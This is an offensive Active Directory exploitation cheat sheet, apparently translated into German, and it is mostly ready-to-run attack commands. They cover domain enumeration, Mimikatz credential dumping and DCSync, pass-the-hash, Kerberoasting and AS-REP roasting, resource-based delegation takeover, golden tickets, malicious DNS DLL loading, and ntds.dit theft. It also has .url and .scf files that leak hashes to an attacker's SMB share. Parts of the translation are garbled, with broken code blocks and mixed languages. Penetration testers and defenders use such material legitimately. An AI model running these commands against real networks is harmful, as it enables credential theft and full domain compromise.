Active Directory Exploitation Cheat Sheet

Dieses Spickzettel enthält allgemeine Aufzählungs- und Angriffsmethoden für Windows Active Directory.

ℹ️ Dieses Repository wurde erstellt von Nikos Katsiopis und Nikos Vourdas.

Dieses Spickzettel ist inspiriert vom PayloadAllTheThings Repository.

Einfach den Hund ausführen

Zusammenfassung

Active Directory Exploitation Spickzettel

Werkzeuge

Domänenaufzählung

PowerView verwenden

Powerview v.3.0
Powerview Wiki

Aktuelle Domäne abrufen: Get-Domain
Andere Domänen aufzählen: Get-Domain -Domain <Domänenname>
Domänen-SID abrufen: Get-DomainSID
Domänenrichtlinie abrufen: ```powershell Get-DomainPolicy

#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
Domänencontroller abrufen: ```powershell Get-DomainController Get-DomainController -Domain
Domänenbenutzer auflisten: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

#Enumerate user logged on a machine Get-NetLoggedon -ComputerName

#Enumerate Session Information for a machine Get-NetSession -ComputerName

#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
Enum Domain Computers: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

❗ Privilegieneskalation zu Domänenadministrator mit Benutzerjagd:
Ich habe lokalen Administratorzugriff auf einen Rechner -> Ein Domänenadministrator hat eine Sitzung auf diesem Rechner -> Ich stehle sein Token und gebe mich als ihn aus -> Gewinn!

Verwenden des AD-Moduls

Aktuelle Domäne abrufen: Get-ADDomain
Andere Domänen auflisten: Get-ADDomain -Identity <Domain>
Domänen-SID abrufen: Get-DomainSID
Domänencontroller abrufen: ```powershell Get-ADDomainController Get-ADDomainController -Identity
Domänenbenutzer auflisten: ```powershell Get-ADUser -Filter * -Identity -Properties *

#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
Domain-Computer auflisten: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
Domain Trust aufzählen: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity

#Domains of Forest Enumeration (Get-ADForest).Domains
Enum Lokale AppLocker Effektive Richtlinie: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Verwendung von BloodHound

Remote BloodHound

Python BloodHound Repository oder installieren Sie es mit `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All

#### Vor Ort BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

Adalanche verwenden

Remote Adalanche```bash

kali linux:

./adalanche collect activedirectory --domain
--username Username@Domain --password
--server

Example:

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb

-> Terminating successfully

Any error?:

LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389

Invalid Credentials ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic

Analyze data

go to web browser -> 127.0.0.1:8080

./adalanche analyze

#### Export Enumerierter Objekte

Sie können enumerierte Objekte aus jedem Modul/Cmdlet zur späteren Analyse in eine XML-Datei exportieren.

Das Cmdlet `Export-Clixml` erstellt eine Common Language Infrastructure (CLI)-basierte XML-Darstellung eines Objekts oder mehrerer Objekte und speichert sie in einer Datei. Anschließend können Sie mit dem Cmdlet `Import-Clixml` das gespeicherte Objekt basierend auf dem Inhalt dieser Datei wiederherstellen.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

Nützliche Enumerationstools

ldapdomaindump Informations-Dumper via LDAP
adidnsdump Integriertes DNS-Dumping durch jeden authentifizierten Benutzer
ACLight Erweiterte Erkennung privilegierter Konten
ADRecon Detailliertes Active Directory Reconnaissance-Tool

Lokale Privilegienausweitung

Windows Local Privilege Escalation Cookbook Kochbuch für lokale Windows-Privilegienausweitungen
Juicy Potato Missbrauch von SeImpersonate- oder SeAssignPrimaryToken-Privilegien zur Systemimitation

⚠️ Funktioniert nur bis Windows Server 2016 und Windows 10 bis Patch 1803
Lovely Potato Automatisiertes Juicy Potato

⚠️ Funktioniert nur bis Windows Server 2016 und Windows 10 bis Patch 1803
PrintSpoofer Ausnutzung des PrinterBug zur Systemimitation

🙏 Funktioniert für Windows Server 2019 und Windows 10
RoguePotato Verbessertes Juicy Potato

🙏 Funktioniert für Windows Server 2019 und Windows 10
Abusing Token Privileges
SMBGhost CVE-2020-0796
PoC
CVE-2021-36934 (HiveNightmare/SeriousSAM)

Nützliche lokale PrivEsc-Tools

PowerUp Missbrauch von Fehlkonfigurationen
BeRoot Allgemeines PrivEsc-Enumerationstool
Privesc Allgemeines PrivEsc-Enumerationstool
FullPowers Wiederherstellung der Privilegien eines Dienstkontos

Laterale Bewegung

PowerShell Remoting```powershell

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

### Remote-Code-Ausführung mit PS-Anmeldeinformationen```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Ein PowerShell-Modul importieren und seine Funktionen remote ausführen```powershell

#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-PSSession -Session $sess

### Ausführen von zustandsbehafteten Remote-Befehlen```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz```powershell

#The commands are in cobalt strike format!

#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:

#List all available kerberos tickets in memory mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys mimikatz sekurlsa::ekeys

#Dump SAM Database mimikatz lsadump::sam

#Dump SECRETS Database mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all

#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history

#List and Dump local kerberos credentials mimikatz kerberos::list /dump

#Pass The Ticket mimikatz kerberos::ptt

#List TS/RDP sessions mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

:exclamation: Was, wenn mimikatz aufgrund von LSA Protection-Kontrollen keine Anmeldeinformationen dumpen kann?

- LSA as a Protected Process (Kernel Land Bypass)  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords

LSA als geschützter Prozess (Userland "Dateiloser" Bypass)
- PPLdump
- Umgehung des LSA-Schutzes im Userland
LSA läuft als virtualisierter Prozess (LSAISO) durch Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp

#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
Detaillierte Mimikatz-Anleitung
Herumstochern mit 2 lsass-Schutzoptionen

Remotedesktopprotokoll

Falls der Host, zu dem wir uns seitwärts bewegen möchten, "RestrictedAdmin" aktiviert hat, können wir den Hash mithilfe des RDP-Protokolls übergeben und eine interaktive Sitzung ohne das Klartext-Passwort erhalten.

Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>

:exclamation: Wenn der eingeschränkte Administratormodus auf dem entfernten Rechner deaktiviert ist, können wir uns mit einem anderen Tool/Protokoll wie psexec oder winrm mit dem Host verbinden und ihn aktivieren, indem wir den folgenden Registrierungsschlüssel erstellen und seinen Wert auf Null setzen: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

- Umgehung der Einschränkung "Eine Sitzung pro Benutzer"

Auf einem Domänencomputer können Sie, wenn Sie die Befehlsausführung als System oder lokaler Administrator haben und eine RDP-Sitzung wünschen, die ein anderer Benutzer bereits verwendet, die Einschränkung einer einzelnen Sitzung umgehen, indem Sie den folgenden Registrierungsschlüssel hinzufügen:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

Sobald du die gewünschten Dinge erledigt hast, kannst du den Schlüssel löschen, um die Einschränkung auf eine Sitzung pro Benutzer wiederherzustellen.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

### URL-Datei-Angriffe

- .url-Datei  ```
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1

kitploit ``` [InternetShortcut] URL=file:///leak/leak.html

- .scf Datei  ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Legen Sie diese Dateien in ein beschreibbares Verzeichnis, das das Opfer nur öffnen muss, um den Datei-Explorer zu starten und zu der Freigabe zu navigieren. Hinweis: Die Datei muss nicht geöffnet oder der Benutzer muss nicht mit ihr interagieren, aber sie muss sich oben im Dateisystem befinden oder einfach im Windows-Explorer-Fenster sichtbar sein, um gerendert zu werden. Verwenden Sie Responder, um die Hashes zu erfassen.

❗ .scf-Dateiangriffe funktionieren nicht auf den neuesten Windows-Versionen.

Nützliche Tools

Powercat Netcat, geschrieben in PowerShell, und bietet Tunneling-, Relay- und Portforwarding-Funktionen.
SCShell Dateiloses Laterale-Bewegungs-Tool, das auf ChangeServiceConfigA angewiesen ist, um Befehle auszuführen.
Evil-Winrm die ultimative WinRM-Shell für Hacking/Pentesting
RunasCs Csharp- und offene Version des integrierten Windows-runas.exe
ntlm_theft erstellt alle möglichen Dateiformate für URL-Dateiangriffe

Domänen-Privilegieneskalation

Kerberoast

WAS IST DAS?:
Alle normalen Domänenbenutzer können eine Kopie aller Dienstkonten zusammen mit ihren zugehörigen Passwort-Hashes anfordern. Daher können wir einen TGS für jeden SPN anfragen, der an ein "Benutzer"-Konto gebunden ist, den verschlüsselten Blob extrahieren, der mit dem Passwort des Benutzers verschlüsselt wurde, und ihn offline brute-forcen.

PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast

#Requesting the TGS for a single account: Request-SPNTicket

#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:

#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec

#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes

#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple

#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:

ASREPRoast

WAS IS DAS?:
Wenn ein Domänenbenutzerkonto keine Kerberos-Vorauthentifizierung erfordert, können wir ein gültiges TGT für dieses Konto anfordern, ohne Domänenanmeldeinformationen zu besitzen, den verschlüsselten Blob extrahieren und offline mit Brute-Force angreifen.

PowerView: Get-DomainUser -PreauthNotRequired -Verbose
AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Erzwingen Sie die Deaktivierung der Kerberos-Vorauthentifizierung für ein Konto, für das ich Schreibberechtigungen oder mehr habe! Überprüfen Sie auf interessante Berechtigungen für Konten:

Hinweis: Wir fügen einen Filter wie z.B. RDPUsers hinzu, um „Benutzerkonten“ und nicht „Computer-Konten“ zu erhalten, da Hashes von Computer-Konten nicht knackbar sind!

PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

- Und schließlich führen Sie den Angriff mit dem [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) Tool aus.  ```powershell
  #Get a specific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose

Verwendung von Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:

#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:

#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
Verwendung von Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile

Password-Spray-Angriff

Wenn wir einige Passwörter durch Kompromittierung eines Benutzerkontos erbeutet haben, können wir diese Methode nutzen, um die Wiederverwendung von Passwörtern auf anderen Domänenkonten auszunutzen.

Werkzeuge:

Force Set SPN

WAS IST DAS ?: Wenn wir ausreichend Berechtigungen haben (GenericAll/GenericWrite), können wir einen SPN auf einem Zielkonto setzen, ein TGS anfordern, dann seinen Blob abgreifen und ihn brute-forcen.

PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname

#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD-Modul: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

Verwenden Sie schließlich ein beliebiges Tool von zuvor, um den Hash zu greifen und zu kerberoasten!

Missbrauch von Schattenkopien

Wenn Sie lokalen Administratorzugriff auf einem Computer haben, versuchen Sie, Schattenkopien aufzulisten, das ist ein einfacher Weg zur Domain-Eskalation.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows

#List shadow copies using diskshadow diskshadow list shadows all

#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

1. Man kann die gesicherte SAM-Datenbank auslesen und Anmeldeinformationen sammeln.
2. Nach DPAPI-gespeicherten Anmeldedaten suchen und diese entschlüsseln.
3. Auf gesicherte sensible Dateien zugreifen.

### Auflisten und Entschlüsseln gespeicherter Anmeldedaten mit Mimikatz

Normalerweise werden verschlüsselte Anmeldeinformationen gespeichert in:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Ausführlicher Artikel: DPAPI all the things

Uneingeschränkte Delegierung

WAS IST DAS ?: Wenn wir administrativen Zugriff auf einen Computer haben, für den eine uneingeschränkte Delegierung aktiviert ist, können wir darauf warten, dass sich ein hochwertiges Ziel oder ein DA damit verbindet, sein TGT stehlen, dann ptt und ihn imitieren!

Verwendung von PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose

#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'

**Hinweis:** Wir können auch Rubeus verwenden!

### Eingeschränkte Delegierung

Verwendung von PowerView und Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Verwendung von Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

Jetzt können wir auf den Dienst als der impersonierte Benutzer zugreifen!

:triangular_flag_on_post: **Was ist, wenn wir Delegierungsrechte nur für einen bestimmten SPN haben? (z.B. TIME):**

In diesem Fall können wir immer noch eine Funktion von Kerberos missbrauchen, die „alternativer Dienst“ genannt wird. Dies ermöglicht es uns, TGS-Tickets für andere „alternative“ Dienste anzufordern und nicht nur für denjenigen, für den wir Rechte haben. Das gibt uns die Möglichkeit, gültige Tickets für jeden Dienst anzufordern, den der Host unterstützt, und verschafft uns so vollständigen Zugriff auf das Zielsystem.

### Ressourcenbasierte eingeschränkte Delegierung

_WAS IST DAS?: \
TL;DR \
Wenn wir GenericALL/GenericWrite-Berechtigungen für ein Maschinenkontoobjekt einer Domäne haben, können wir dies missbrauchen und uns als beliebiger Benutzer der Domäne gegenüber diesem ausgeben. Zum Beispiel können wir uns als Domänenadministrator ausgeben und vollständigen Zugriff erhalten._

Tools, die wir verwenden werden:

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

Zuerst müssen wir den Sicherheitskontext des Benutzer-/Maschinenkontos betreten, das die Berechtigungen über das Objekt besitzt.
Wenn es sich um ein Benutzerkonto handelt, können wir Pass the Hash, RDP, PSCredentials usw. verwenden.

Beispiel für die Ausnutzung:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Detaillierte Artikel:

❗ Bei der eingeschränkten Delegation (Constrained Delegation) und der ressourcenbasierten eingeschränkten Delegation (Resource-Based Constrained Delegation) können wir, falls wir nicht das Passwort/den Hash des Kontos mit TRUSTED_TO_AUTH_FOR_DELEGATION besitzen, das wir ausnutzen wollen, den sehr nützlichen Trick "tgt::deleg" von kekeo oder "tgtdeleg" von rubeus verwenden und Kerberos täuschen, um uns ein gültiges TGT für dieses Konto zu geben. Dann verwenden wir einfach das Ticket anstelle des Hashs des Kontos, um den Angriff durchzuführen.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap

Detailed Article:
[Rubeus – Jetzt mit noch mehr Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)

### DNSAdmins Missbrauch

_WAS IS DAS ?: Wenn ein Benutzer Mitglied der Gruppe DNSAdmins ist, kann er möglicherweise eine beliebige DLL mit den Rechten von dns.exe laden, das als SYSTEM läuft. Falls der DC einen DNS-Dienst bereitstellt, kann der Benutzer seine Rechte auf DA ausweiten. Dieser Exploit-Prozess benötigt Rechte, um den DNS-Dienst neu zu starten, damit er funktioniert._

1. Ermittle die Mitglieder der DNSAdmins-Gruppe:
   - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
   - AD Modul: `Get-ADGroupMember -Identiny DNSAdmins`
2. Sobald wir ein Mitglied dieser Gruppe gefunden haben, müssen wir es kompromittieren (Es gibt viele Wege).
3. Dann durch Bereitstellen einer schädlichen DLL auf einer SMB-Freigabe und Konfigurieren der DLL-Nutzung können wir unsere Rechte ausweiten:   ```powershell
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

Missbrauch von Active Directory-integriertem DNS

Missbrauch der Backup-Operatoren-Gruppe

WAS IST DAS ?: Wenn wir es schaffen, ein Benutzerkonto zu kompromittieren, das Mitglied der Backup-Operatoren-Gruppe ist, können wir dessen SeBackupPrivilege missbrauchen, um eine Schattenkopie des aktuellen Zustands des DC zu erstellen, die ntds.dit-Datenbankdatei zu extrahieren, die Hashes zu dumpen und unsere Berechtigungen auf DA zu erhöhen.

Sobald wir Zugriff auf ein Konto haben, das das SeBackupPrivilege besitzt, können wir auf den DC zugreifen und mit dem signierten Binary diskshadow eine Schattenkopie erstellen: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive

create

expose %mydrive% w: end backup }

#Execute diskshadow with our script as parameter diskshadow /s script.txt
Als nächstes müssen wir auf die Schattenkopie zugreifen. Wir haben zwar möglicherweise das SeBackupPrivilege, aber wir können ntds.dit nicht einfach so kopieren und einfügen. Wir müssen eine Backup-Software imitieren und Win32-API-Aufrufe verwenden, um sie in einen zugänglichen Ordner zu kopieren. Dazu verwenden wir dieses großartige Repository: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll

#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege

#If it isn't we enable it Set-SeBackupPrivilege

#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite

#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
Mittels smbclient.py aus impacket oder einem anderen Tool kopieren wir die ntds.dit und die SYSTEM-Hive auf unseren lokalen Rechner.
Verwenden Sie secretsdump.py aus impacket und dumpen Sie die Hashes.
Verwenden Sie psexec oder ein anderes Tool Ihrer Wahl, um PTH durchzuführen und Domain-Admin-Zugriff zu erhalten.

Exchange ausnutzen

Exchange mit einem API-Aufruf vom DA aus missbrauchen
CVE-2020-0688
PrivExchange Tauschen Sie Ihre Berechtigungen gegen Domain-Admin-Rechte, indem Sie Exchange missbrauchen

Den Printer Bug bewaffnen

ACLs ausnutzen

IPv6 mit mitm6 ausnutzen

SID History Missbrauch

WAS IS DAS?: Wenn es uns gelingt, eine Child-Domäne einer Forest zu kompromittieren und die SID-Filterung nicht aktiviert ist (was meistens der Fall ist), können wir dies missbrauchen, um die Berechtigungen bis zum Domain-Administrator der Root-Domäne der Forest zu eskalieren. Dies ist möglich wegen des SID History-Felds in einem Kerberos-TGT-Ticket, das die "zusätzlichen" Sicherheitsgruppen und Berechtigungen definiert.

Ausnutzungsbeispiel:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain dir \dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

Ausführliche Artikel:

- [Kerberos Golden Tickets sind jetzt noch goldener](https://adsecurity.org/?p=1640)
- [Ein Leitfaden zum Angreifen von Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)

### SharePoint ausnutzen

- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE-Ausnutzung \
  [PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Codeausführung durch BDC-Deserialisierung
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE mittels Typkonvertern \
  [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

### Zerologon

- [Zerologon: Nicht authentifizierte Kompromittierung des Domänencontrollers](https://www.secura.com/whitepapers/zerologon-whitepaper): Whitepaper der Sicherheitslücke.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): C#-Implementierung des Zerologon-Exploits.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): PowerShell-Implementierung des Zerologon-Exploits.
- [Zer0Dump](https://github.com/bb00/zer0dump): Python-Implementierung des Zerologon-Exploits unter Verwendung der Impacket-Bibliothek.

### PrintNightmare

- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Details zur Sicherheitslücke.
